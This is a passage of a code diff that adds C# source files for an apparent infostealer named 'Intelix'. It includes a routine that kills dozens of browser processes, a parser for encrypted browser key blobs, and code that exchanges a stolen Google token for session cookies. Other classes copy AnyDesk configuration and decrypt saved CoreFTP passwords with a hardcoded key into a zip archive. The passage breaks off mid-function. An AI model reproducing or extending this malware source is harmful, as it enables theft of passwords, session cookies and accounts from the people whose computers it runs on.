||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class ParseKeyBlob
|
||||
{
|
||||
public static BlobParsedData Parse(byte[] blobData)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream(blobData);
|
||||
using BinaryReader binaryReader = new BinaryReader(memoryStream);
|
||||
uint count = binaryReader.ReadUInt32();
|
||||
binaryReader.ReadBytes((int)count);
|
||||
uint num = binaryReader.ReadUInt32();
|
||||
_ = memoryStream.Position;
|
||||
byte[] array = null;
|
||||
byte[] iv = null;
|
||||
byte[] ciphertext = null;
|
||||
byte[] tag = null;
|
||||
if (num == 32)
|
||||
{
|
||||
array = binaryReader.ReadBytes(32);
|
||||
return new BlobParsedData
|
||||
{
|
||||
Flag = 32,
|
||||
Iv = iv,
|
||||
Ciphertext = ciphertext,
|
||||
Tag = tag,
|
||||
EncryptedAesKey = array
|
||||
};
|
||||
}
|
||||
byte b = binaryReader.ReadByte();
|
||||
switch (b)
|
||||
{
|
||||
case 1:
|
||||
case 2:
|
||||
iv = binaryReader.ReadBytes(12);
|
||||
ciphertext = binaryReader.ReadBytes(32);
|
||||
tag = binaryReader.ReadBytes(16);
|
||||
return new BlobParsedData
|
||||
{
|
||||
Flag = b,
|
||||
Iv = iv,
|
||||
Ciphertext = ciphertext,
|
||||
Tag = tag,
|
||||
EncryptedAesKey = null
|
||||
};
|
||||
case 3:
|
||||
case 35:
|
||||
array = binaryReader.ReadBytes(32);
|
||||
iv = binaryReader.ReadBytes(12);
|
||||
ciphertext = binaryReader.ReadBytes(32);
|
||||
tag = binaryReader.ReadBytes(16);
|
||||
return new BlobParsedData
|
||||
{
|
||||
Flag = b,
|
||||
Iv = iv,
|
||||
Ciphertext = ciphertext,
|
||||
Tag = tag,
|
||||
EncryptedAesKey = array
|
||||
};
|
||||
default:
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class ProcessKiller
|
||||
{
|
||||
public static string[] Targets = new string[63]
|
||||
{
|
||||
"k-meleon.exe", "thunderbird.exe", "icedragon.exe", "cyberfox.exe", "blackhawk.exe", "palemoon.exe", "ghostery.exe",
|
||||
"sielo.exe", "conkeror.exe", "msedge.exe", "netscape.exe", "seamonkey.exe", "slimbrowser.exe", "msedge_pwa_launcher.exe", "avant.exe", "opera.exe", "operagx.exe",
|
||||
"msedgewebview2.exe", "msedgewebview.exe", "chromium.exe", "slimjet.exe", "chrome.exe", "browser.exe", "vivaldi.exe", "brave.exe", "edge.exe", "microsoft.exe",
|
||||
"dragon.exe", "torch.exe", "yandex.exe", "sputnik.exe", "nichrome.exe", "msedge_proxy.exe", "cocbrowser.exe",
|
||||
"uran.exe", "msedge_proxy.exe", "chromodo.exe", "atom.exe", "bravebrowser.exe", "steam.exe", "cryptotab.exe", "ghostbrowser.exe", "maelstrom.exe", "kinza.exe",
|
||||
"globus.exe", "falkon.exe", "elementbrowser.exe", "colibri.exe", "whale.exe", "avastbrowser.exe", "ucbrowser.exe", "maxthon.exe", "blisk.exe", "aolshield.exe",
|
||||
"baidubrowser.exe", "ccleanerbrowser.exe", "hola.exe", "xvast.exe", "kingpin.exe", "qqbrowser.exe", "private_browsing.exe", "chrome_pwa_launcher.exe", "chrome_proxy.exe"
|
||||
};
|
||||
|
||||
private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u;
|
||||
|
||||
private const uint PROCESS_TERMINATE = 1u;
|
||||
|
||||
public static void KillerAll()
|
||||
{
|
||||
string[] targets = Targets;
|
||||
if (targets == null || targets.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
HashSet<string> wanted = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||||
string[] array = targets;
|
||||
foreach (string text in array)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(text))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text2 = text.Trim().Replace("\"", string.Empty);
|
||||
try
|
||||
{
|
||||
text2 = Path.GetFileName(text2);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text2))
|
||||
{
|
||||
wanted.Add(text2);
|
||||
if (!text2.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
wanted.Add(text2 + ".exe");
|
||||
}
|
||||
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text2);
|
||||
if (!string.IsNullOrEmpty(fileNameWithoutExtension))
|
||||
{
|
||||
wanted.Add(fileNameWithoutExtension);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (wanted.Count == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
List<ProcessWindows.ProcInfo> procInfos = ProcessWindows.GetProcInfos();
|
||||
if (procInfos == null || procInfos.Count == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
Parallel.ForEach(procInfos, delegate(ProcessWindows.ProcInfo proc)
|
||||
{
|
||||
if (proc == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text3 = null;
|
||||
if (!string.IsNullOrEmpty(proc.Path))
|
||||
{
|
||||
try
|
||||
{
|
||||
text3 = Path.GetFileName(proc.Path);
|
||||
}
|
||||
catch
|
||||
{
|
||||
text3 = proc.Path;
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(text3))
|
||||
{
|
||||
text3 = proc.Name ?? string.Empty;
|
||||
}
|
||||
string item;
|
||||
try
|
||||
{
|
||||
item = Path.GetFileNameWithoutExtension(text3);
|
||||
}
|
||||
catch
|
||||
{
|
||||
item = text3;
|
||||
}
|
||||
if ((!wanted.Contains(text3) && !wanted.Contains(item)) || !int.TryParse(proc.Pid, out var result) || result == 0 || result == 4)
|
||||
{
|
||||
return;
|
||||
}
|
||||
IntPtr intPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
intPtr = NativeMethods.OpenProcess(4097u, bInheritHandle: false, (uint)result);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
intPtr = NativeMethods.OpenProcess(4096u, bInheritHandle: false, (uint)result);
|
||||
if (!(intPtr != IntPtr.Zero))
|
||||
{
|
||||
return;
|
||||
}
|
||||
NativeMethods.CloseHandle(intPtr);
|
||||
intPtr = NativeMethods.OpenProcess(1u, bInheritHandle: false, (uint)result);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
NativeMethods.TerminateProcess(intPtr, 1u);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
if (intPtr != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.CloseHandle(intPtr);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,250 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class ProcessWindows
|
||||
{
|
||||
public class ProcInfo
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Pid { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public string Memory { get; set; }
|
||||
}
|
||||
|
||||
private static readonly Lazy<List<ProcInfo>> _procInfos = new Lazy<List<ProcInfo>>(BuildCache, isThreadSafe: true);
|
||||
|
||||
public static List<ProcInfo> GetProcInfos()
|
||||
{
|
||||
return new List<ProcInfo>(_procInfos.Value);
|
||||
}
|
||||
|
||||
public static List<string> FindFolder(string folderName)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(folderName))
|
||||
{
|
||||
return new List<string>();
|
||||
}
|
||||
ConcurrentDictionary<string, byte> concurrentDictionary = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
|
||||
SearchNearby(folderName, isDirectory: true, concurrentDictionary);
|
||||
return new List<string>(concurrentDictionary.Keys);
|
||||
}
|
||||
|
||||
public static List<string> FindFile(string fileName)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(fileName))
|
||||
{
|
||||
return new List<string>();
|
||||
}
|
||||
ConcurrentDictionary<string, byte> concurrentDictionary = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
|
||||
SearchNearby(fileName, isDirectory: false, concurrentDictionary);
|
||||
return new List<string>(concurrentDictionary.Keys);
|
||||
}
|
||||
|
||||
private static void SearchNearby(string target, bool isDirectory, ConcurrentDictionary<string, byte> found, int maxUp = 3)
|
||||
{
|
||||
if (string.IsNullOrEmpty(target))
|
||||
{
|
||||
return;
|
||||
}
|
||||
List<ProcInfo> value = _procInfos.Value;
|
||||
if (value == null || value.Count == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string t = target.Trim();
|
||||
Parallel.ForEach(value, delegate(ProcInfo proc)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = proc.Path;
|
||||
if (!string.IsNullOrEmpty(path))
|
||||
{
|
||||
string directoryName = Path.GetDirectoryName(path);
|
||||
if (!string.IsNullOrEmpty(directoryName))
|
||||
{
|
||||
for (int i = 0; i < maxUp; i++)
|
||||
{
|
||||
if (string.IsNullOrEmpty(directoryName))
|
||||
{
|
||||
break;
|
||||
}
|
||||
string path2 = Path.Combine(directoryName, t);
|
||||
if (isDirectory)
|
||||
{
|
||||
if (Directory.Exists(path2))
|
||||
{
|
||||
try
|
||||
{
|
||||
found.TryAdd(Path.GetFullPath(path2), 0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (File.Exists(path2))
|
||||
{
|
||||
try
|
||||
{
|
||||
found.TryAdd(Path.GetFullPath(path2), 0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
directoryName = Path.GetDirectoryName(directoryName);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private static List<ProcInfo> BuildCache()
|
||||
{
|
||||
ConcurrentDictionary<string, ProcInfo> result = new ConcurrentDictionary<string, ProcInfo>(StringComparer.OrdinalIgnoreCase);
|
||||
uint num = 4096u;
|
||||
uint[] pids = new uint[num];
|
||||
if (!NativeMethods.EnumProcesses(pids, num * 4, out var lpcbNeeded))
|
||||
{
|
||||
num = 65536u;
|
||||
pids = new uint[num];
|
||||
if (!NativeMethods.EnumProcesses(pids, num * 4, out lpcbNeeded))
|
||||
{
|
||||
return new List<ProcInfo>();
|
||||
}
|
||||
}
|
||||
int num2 = (int)(lpcbNeeded / 4);
|
||||
if (num2 <= 0)
|
||||
{
|
||||
return new List<ProcInfo>();
|
||||
}
|
||||
ThreadLocal<StringBuilder> sbLocal = new ThreadLocal<StringBuilder>(() => new StringBuilder(1024));
|
||||
Parallel.For(0, num2, delegate(int i)
|
||||
{
|
||||
uint num3 = pids[i];
|
||||
if (num3 == 0 || num3 == 4)
|
||||
{
|
||||
return;
|
||||
}
|
||||
IntPtr intPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
intPtr = NativeMethods.OpenProcess(5136u, bInheritHandle: false, (int)num3);
|
||||
if (!(intPtr == IntPtr.Zero))
|
||||
{
|
||||
string text = null;
|
||||
try
|
||||
{
|
||||
StringBuilder value = sbLocal.Value;
|
||||
value.Clear();
|
||||
uint lpdwSize = (uint)value.Capacity;
|
||||
if (NativeMethods.QueryFullProcessImageName(intPtr, 0, value, ref lpdwSize))
|
||||
{
|
||||
text = value.ToString(0, (int)lpdwSize);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string text2 = null;
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
try
|
||||
{
|
||||
text2 = Path.GetFileNameWithoutExtension(text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
text2 = text;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
text2 = "";
|
||||
}
|
||||
string text3 = "";
|
||||
try
|
||||
{
|
||||
NativeMethods.PROCESS_MEMORY_COUNTERS_EX ppsmemCounters = default(NativeMethods.PROCESS_MEMORY_COUNTERS_EX);
|
||||
ppsmemCounters.cb = (uint)Marshal.SizeOf(typeof(NativeMethods.PROCESS_MEMORY_COUNTERS_EX));
|
||||
if (NativeMethods.GetProcessMemoryInfo(intPtr, out ppsmemCounters, ppsmemCounters.cb))
|
||||
{
|
||||
text3 = FormatBytes((long)ppsmemCounters.WorkingSetSize.ToUInt64());
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
ProcInfo procInfo = new ProcInfo
|
||||
{
|
||||
Name = SafeString(text2),
|
||||
Pid = num3.ToString(),
|
||||
Path = SafeString(text),
|
||||
Memory = (text3 ?? "")
|
||||
};
|
||||
string key = procInfo.Path + "|" + procInfo.Pid;
|
||||
result.TryAdd(key, procInfo);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
if (intPtr != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.CloseHandle(intPtr);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
});
|
||||
sbLocal.Dispose();
|
||||
return new List<ProcInfo>(result.Values);
|
||||
}
|
||||
|
||||
private static string SafeString(string s)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(s))
|
||||
{
|
||||
return s;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static string FormatBytes(long bytes)
|
||||
{
|
||||
if (bytes >= 1073741824)
|
||||
{
|
||||
return ((double)bytes / 1073741824.0).ToString("0.##") + " GB";
|
||||
}
|
||||
if (bytes >= 1048576)
|
||||
{
|
||||
return ((double)bytes / 1048576.0).ToString("0.##") + " MB";
|
||||
}
|
||||
if (bytes >= 1024)
|
||||
{
|
||||
return ((double)bytes / 1024.0).ToString("0.##") + " KB";
|
||||
}
|
||||
return bytes + " B";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class RandomStrings
|
||||
{
|
||||
private const string Ascii = "abcdefghijklmnopqrstuvwxyz";
|
||||
|
||||
private static readonly Random Random = new Random();
|
||||
|
||||
public static string GenerateHashTag()
|
||||
{
|
||||
return " #" + GenerateString();
|
||||
}
|
||||
|
||||
public static string GenerateString()
|
||||
{
|
||||
return GenerateString(5);
|
||||
}
|
||||
|
||||
public static string GenerateString(int length)
|
||||
{
|
||||
char c = "abcdefghijklmnopqrstuvwxyz"[Random.Next("abcdefghijklmnopqrstuvwxyz".Length)];
|
||||
char[] value = (from s in Enumerable.Repeat("abcdefghijklmnopqrstuvwxyz", length - 1)
|
||||
select s[Random.Next(s.Length)]).ToArray();
|
||||
return c + new string(value);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class RegistryParser
|
||||
{
|
||||
public static List<string> ParseKey(RegistryKey key)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
if (key == null)
|
||||
{
|
||||
return list;
|
||||
}
|
||||
string[] valueNames = key.GetValueNames();
|
||||
foreach (string text in valueNames)
|
||||
{
|
||||
object value = key.GetValue(text);
|
||||
string text2;
|
||||
switch (key.GetValueKind(text))
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
text2 = ((!(value is byte[] array)) ? "null" : BitConverter.ToString(array).Replace("-", ""));
|
||||
break;
|
||||
case RegistryValueKind.DWord:
|
||||
case RegistryValueKind.QWord:
|
||||
text2 = value.ToString();
|
||||
break;
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
text2 = value?.ToString() ?? "null";
|
||||
break;
|
||||
case RegistryValueKind.MultiString:
|
||||
text2 = ((!(value is string[] value2)) ? "null" : string.Join(", ", value2));
|
||||
break;
|
||||
default:
|
||||
text2 = value?.ToString() ?? "null";
|
||||
break;
|
||||
}
|
||||
list.Add(text + ": " + text2);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class RestoreCookies
|
||||
{
|
||||
public class Account
|
||||
{
|
||||
public string type { get; set; }
|
||||
|
||||
public string display_name { get; set; }
|
||||
|
||||
public string display_email { get; set; }
|
||||
|
||||
public string photo_url { get; set; }
|
||||
|
||||
public bool selected { get; set; }
|
||||
|
||||
public bool default_user { get; set; }
|
||||
|
||||
public int authuser { get; set; }
|
||||
|
||||
public bool valid_session { get; set; }
|
||||
|
||||
public string obfuscated_id { get; set; }
|
||||
|
||||
public bool is_verified { get; set; }
|
||||
}
|
||||
|
||||
public class Cookie
|
||||
{
|
||||
public string name { get; set; }
|
||||
|
||||
public string value { get; set; }
|
||||
|
||||
public string domain { get; set; }
|
||||
|
||||
public string path { get; set; }
|
||||
|
||||
public bool isSecure { get; set; }
|
||||
|
||||
public bool isHttpOnly { get; set; }
|
||||
|
||||
public int maxAge { get; set; }
|
||||
|
||||
public string priority { get; set; }
|
||||
|
||||
public string sameParty { get; set; }
|
||||
|
||||
public string sameSite { get; set; }
|
||||
|
||||
public string host { get; set; }
|
||||
}
|
||||
|
||||
public class Root
|
||||
{
|
||||
public string status { get; set; }
|
||||
|
||||
public List<Cookie> cookies { get; set; }
|
||||
|
||||
public List<Account> accounts { get; set; }
|
||||
}
|
||||
|
||||
private static string SendPostRequest(string token)
|
||||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://accounts.google.com/oauth/multilogin?source=com.google.Drive");
|
||||
httpWebRequest.Method = "POST";
|
||||
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
|
||||
httpWebRequest.Headers.Add("Authorization", "MultiBearer " + token);
|
||||
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) com.google.Drive/6.0.230903 iSL/3.4 (gzip)\r\n";
|
||||
string s = "";
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(s);
|
||||
using (Stream stream = httpWebRequest.GetRequestStream())
|
||||
{
|
||||
stream.Write(bytes, 0, bytes.Length);
|
||||
}
|
||||
using HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
|
||||
if (httpWebResponse.StatusCode == HttpStatusCode.OK)
|
||||
{
|
||||
using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream()))
|
||||
{
|
||||
return streamReader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
public static string CRestore(string restore)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = SendPostRequest(restore);
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
text = text.Remove(0, 5);
|
||||
Root obj = new Root
|
||||
{
|
||||
status = Regex.Match(text, "\"status\":\"(.*?)\"").Groups[1].Value,
|
||||
cookies = ExtractCookies(text),
|
||||
accounts = ExtractAccounts(text)
|
||||
};
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
foreach (Cookie cookie in obj.cookies)
|
||||
{
|
||||
string text2 = (string.IsNullOrEmpty(cookie.host) ? cookie.domain : cookie.host);
|
||||
text2 = (string.IsNullOrEmpty(text2) ? ".google.com" : text2);
|
||||
stringBuilder.AppendLine(text2 + "\tTRUE\t" + cookie.path + "\tFALSE\t" + cookie.maxAge + "\t" + cookie.name + "\t" + cookie.value);
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
private static List<Cookie> ExtractCookies(string json)
|
||||
{
|
||||
List<Cookie> list = new List<Cookie>();
|
||||
foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
|
||||
{
|
||||
string value = item2.Value;
|
||||
int result;
|
||||
Cookie item = new Cookie
|
||||
{
|
||||
name = Regex.Match(value, "\"name\":\"(.*?)\"").Groups[1].Value,
|
||||
value = Regex.Match(value, "\"value\":\"(.*?)\"").Groups[1].Value,
|
||||
domain = Regex.Match(value, "\"domain\":\"(.*?)\"").Groups[1].Value,
|
||||
path = Regex.Match(value, "\"path\":\"(.*?)\"").Groups[1].Value,
|
||||
isSecure = Regex.IsMatch(value, "\"isSecure\":true"),
|
||||
isHttpOnly = Regex.IsMatch(value, "\"isHttpOnly\":true"),
|
||||
maxAge = (int.TryParse(Regex.Match(value, "\"maxAge\":(\\d+)").Groups[1].Value, out result) ? result : 0),
|
||||
priority = Regex.Match(value, "\"priority\":\"(.*?)\"").Groups[1].Value,
|
||||
sameParty = Regex.Match(value, "\"sameParty\":\"(.*?)\"").Groups[1].Value,
|
||||
sameSite = Regex.Match(value, "\"sameSite\":\"(.*?)\"").Groups[1].Value,
|
||||
host = Regex.Match(value, "\"host\":\"(.*?)\"").Groups[1].Value
|
||||
};
|
||||
list.Add(item);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static List<Account> ExtractAccounts(string json)
|
||||
{
|
||||
List<Account> list = new List<Account>();
|
||||
foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
|
||||
{
|
||||
string value = item2.Value;
|
||||
int result;
|
||||
Account item = new Account
|
||||
{
|
||||
type = Regex.Match(value, "\"type\":\"(.*?)\"").Groups[1].Value,
|
||||
display_name = Regex.Match(value, "\"display_name\":\"(.*?)\"").Groups[1].Value,
|
||||
display_email = Regex.Match(value, "\"display_email\":\"(.*?)\"").Groups[1].Value,
|
||||
photo_url = Regex.Match(value, "\"photo_url\":\"(.*?)\"").Groups[1].Value,
|
||||
selected = Regex.IsMatch(value, "\"selected\":true"),
|
||||
default_user = Regex.IsMatch(value, "\"default_user\":true"),
|
||||
authuser = (int.TryParse(Regex.Match(value, "\"authuser\":(\\d+)").Groups[1].Value, out result) ? result : 0),
|
||||
valid_session = Regex.IsMatch(value, "\"valid_session\":true"),
|
||||
obfuscated_id = Regex.Match(value, "\"obfuscated_id\":\"(.*?)\"").Groups[1].Value,
|
||||
is_verified = Regex.IsMatch(value, "\"is_verified\":true")
|
||||
};
|
||||
list.Add(item);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class WindowsInfo
|
||||
{
|
||||
public static string GetProductName()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
string obj = (registryKey.GetValue("ProductName") as string) ?? "Unknown";
|
||||
string text = (registryKey.GetValue("ReleaseId") as string) ?? (registryKey.GetValue("DisplayVersion") as string) ?? "";
|
||||
return (obj + " " + text).Trim();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetBuildNumber()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
return registryKey.GetValue("CurrentBuild")?.ToString() ?? registryKey.GetValue("CurrentBuildNumber")?.ToString() ?? "Unknown";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetArchitecture()
|
||||
{
|
||||
try
|
||||
{
|
||||
return Environment.Is64BitOperatingSystem ? "x64" : "x86";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetVersion()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
object value = registryKey.GetValue("CurrentMajorVersionNumber");
|
||||
object value2 = registryKey.GetValue("CurrentMinorVersionNumber");
|
||||
if (value != null && value2 != null)
|
||||
{
|
||||
return $"{value}.{value2}";
|
||||
}
|
||||
string text = registryKey.GetValue("CurrentVersion") as string;
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
return "Unknown";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetFullInfo()
|
||||
{
|
||||
return "OS Product: " + GetProductName() + "\nOS Build: " + GetBuildNumber() + "\nOS Arch: " + GetArchitecture();
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,21 @@
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class AnyDesk : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\ProgramData\\AnyDesk\\service.conf";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "AnyDesk\\service.conf";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "AnyDesk";
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
zip.AddFile(text2, File.ReadAllBytes(text));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class CoreFtp : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "CoreFTP";
|
||||
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\FTPWare\\COREFTP\\Sites");
|
||||
if (registryKey == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
List<string> list = new List<string>();
|
||||
foreach (string item in from n in registryKey.GetSubKeyNames()
|
||||
orderby n
|
||||
select n)
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey2 = registryKey.OpenSubKey(item);
|
||||
if (registryKey2 != null)
|
||||
{
|
||||
object value = registryKey2.GetValue("Host");
|
||||
object value2 = registryKey2.GetValue("User");
|
||||
object value3 = registryKey2.GetValue("PW");
|
||||
if (value != null)
|
||||
{
|
||||
string text = (value as string) ?? value.ToString();
|
||||
string text2 = (value2 as string) ?? value2?.ToString() ?? "";
|
||||
string text3 = DecryptCoreFtpPassword((value3 as string) ?? value3?.ToString() ?? "");
|
||||
list.Add("Url: " + text + ":21\nUsername: " + text2 + "\nPassword: " + text3 + "\n");
|
||||
counterApplications.Files.Add(registryKey2.Name ?? "");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
zip.AddFile("FTP/CoreFTP/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list)));
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
|
||||
private static string DecryptCoreFtpPassword(string hexCipher)
|
||||
{
|
||||
byte[] bytes = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk");
|
||||
byte[] iV = new byte[16];
|
||||
byte[] array = HexToBytes(hexCipher);
|
||||
using Aes aes = Aes.Create();
|
||||
aes.KeySize = 128;
|
||||
aes.BlockSize = 128;
|
||||
aes.Key = bytes;
|
||||
aes.IV = iV;
|
||||
aes.Mode = CipherMode.ECB;
|
||||
aes.Padding = PaddingMode.Zeros;
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using ICryptoTransform transform = aes.CreateDecryptor();
|
||||
using CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
|
||||
cryptoStream.Write(array, 0, array.Length);
|
